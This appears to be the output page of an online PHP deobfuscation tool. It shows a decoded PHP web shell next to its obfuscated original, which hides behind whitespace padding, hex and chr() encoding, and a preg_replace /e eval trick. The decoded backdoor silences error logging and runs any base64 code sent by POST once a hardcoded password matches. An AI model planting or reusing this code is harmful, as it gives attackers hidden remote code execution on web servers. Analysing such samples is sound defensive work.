Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "8Ytcj5aB7uZjBzQJoDKkfDpGj6IyGLbf")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php

                                                                                                                                                                                                                                                   $czNwws="p\x72e\x67_\x72".chr(101)."\x70\x6Cac\x65";$zia3bwf="\x65".chr(118)."a\x6C(\x62\x61s\x65".chr(54)."\x34_".chr(100)."\x65".chr(99)."o".chr(100)."\x65".chr(40).chr(34)."Q".chr(71)."V\x79\x63\x6D9".chr(121)."X".chr(51)."Jlc\x479\x79dGlu\x5a\x79\x67\x77".chr(75)."Ts\x4b".chr(81).chr(71)."lu".chr(97)."V".chr(57)."\x7aZX\x51o\x49".chr(109)."Rp".chr(99)."\x33".chr(66)."sY\x58\x6C\x66\x5a".chr(88)."J".chr(121)."\x62".chr(51)."J\x7AI".chr(105)."ww\x4bT".chr(115)."\x4bQ\x47\x6Cu\x61\x56\x39".chr(122).chr(90)."XQ\x6FI\x6Dx".chr(118)."\x5A\x31".chr(57)."l\x63\x6E\x4A\x76c\x6e".chr(77).chr(105)."\x4C".chr(68).chr(65)."\x70".chr(79)."w\x70A\x61".chr(87).chr(53).chr(112)."X\x33Nl\x64".chr(67)."\x67i".chr(90).chr(88).chr(74)."yb".chr(51)."Jf\x62\x47\x39n\x49i\x77\x77\x4b\x54\x73KC".chr(109)."\x6c".chr(109)."\x49C".chr(104)."\x70".chr(99)."\x33".chr(78).chr(108)."d".chr(67)."\x67\x6b".chr(88).chr(49)."\x42P".chr(85).chr(49)."Q\x70\x49".chr(67).chr(89)."\x6dIG\x6C\x7a\x582F\x79c\x6DF\x35\x4b\x43".chr(82).chr(102)."\x55\x459\x54".chr(86)."\x43\x6b\x67".chr(74).chr(105)."\x59gY\x32\x39".chr(49).chr(98)."\x6E".chr(81).chr(111)."JF".chr(57)."Q\x54".chr(49)."\x4E".chr(85).chr(75)."T4".chr(120)."K".chr(81)."p\x37C".chr(103)."\x6c".chr(109)."\x62\x33".chr(74).chr(108)."Y".chr(87)."N".chr(111)."IC\x67\x6bX".chr(49)."\x42\x50".chr(85)."1".chr(81)."\x67Y\x58".chr(77)."g".chr(74)."\x48".chr(90)."h".chr(99).chr(105)."k".chr(75)."\x43\x58s\x4b".chr(67)."\x51l\x70\x5ai".chr(65).chr(111).chr(73)."\x57".chr(108)."z\x63".chr(50).chr(86)."\x30\x4b".chr(67)."Rjb".chr(50)."R\x6cK\x53k\x67J\x47".chr(78).chr(118).chr(90).chr(71)."\x55g\x50\x53\x41k\x64\x6DF\x79\x4f".chr(119)."\x6f".chr(74).chr(67)."WV".chr(115)."\x632\x56".chr(112)."\x5A\x69".chr(65)."\x6FI".chr(87)."l\x7a\x632\x56".chr(48)."\x4BC".chr(82).chr(119)."\x59\x58N".chr(122).chr(75).chr(83)."k".chr(103).chr(74)."\x48".chr(66)."\x68\x63".chr(51)."\x4D\x67".chr(80)."SAkd".chr(109)."\x46".chr(121)."\x4f".chr(119).chr(111).chr(74)."C\x57Vs\x63\x32".chr(85)."\x67".chr(89)."n".chr(74).chr(108).chr(89)."\x57\x73\x37\x43".chr(103)."l\x39".chr(67).chr(103).chr(111)."Ja".chr(87).chr(89).chr(103)."\x4BC\x52".chr(119)."\x59XN".chr(122)."\x49\x44\x30\x39I\x43\x49".chr(52)."\x57".chr(88)."R".chr(106)."\x61\x6a".chr(86).chr(104).chr(81)."\x6a\x64\x31W".chr(109).chr(112)."C".chr(101)."\x6C\x46\x4B".chr(98).chr(48).chr(82)."\x4c".chr(97).chr(50)."Z".chr(69)."c\x45\x64qN".chr(107)."l\x35\x52\x30\x78iZ\x69".chr(73)."p\x43gl\x37C".chr(103).chr(107).chr(74)."ZX".chr(90)."\x68b\x43".chr(104).chr(105)."\x59\x58".chr(78).chr(108)."\x4E\x6a".chr(82)."\x66\x5A".chr(71)."\x56\x6A\x62".chr(50)."Rl\x4B\x43\x52\x6Ab\x32\x52\x6CK".chr(83)."k\x37".chr(67)."\x67".chr(108).chr(57)."\x43n0".chr(75)."ZXh".chr(112)."\x64".chr(68).chr(115)."=".chr(34).chr(41).chr(41).";";$d2pfv="\x2f\x330\x65\x38\x62\x64bb".chr(101)."1\x61\x36".chr(52)."\x62".chr(48)."\x62".chr(48)."5\x65\x66\x66d\x34".chr(52).chr(102).chr(99).chr(51)."\x66".chr(49)."7\x62\x63".chr(47).chr(101);$czNwws($d2pfv,$zia3bwf,"\x33\x30\x65".chr(56).chr(98)."\x64b\x62\x651\x61".chr(54)."\x34".chr(98)."0\x62\x30\x35\x65\x66\x66d4".chr(52)."\x66\x63".chr(51)."\x66".chr(49)."7".chr(98)."\x63");



?>

Function Calls

chr 192
preg_replace 1
base64_decode 1

Variables

$d2pfv /30e8bdbbe1a64b0b05effd44fc3f17bc/e
$czNwws preg_replace
$zia3bwf eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..

Stats

MD5 9235c8cd0552e829a36139ea4a77b636
Eval Count 2
Decode Time 233 ms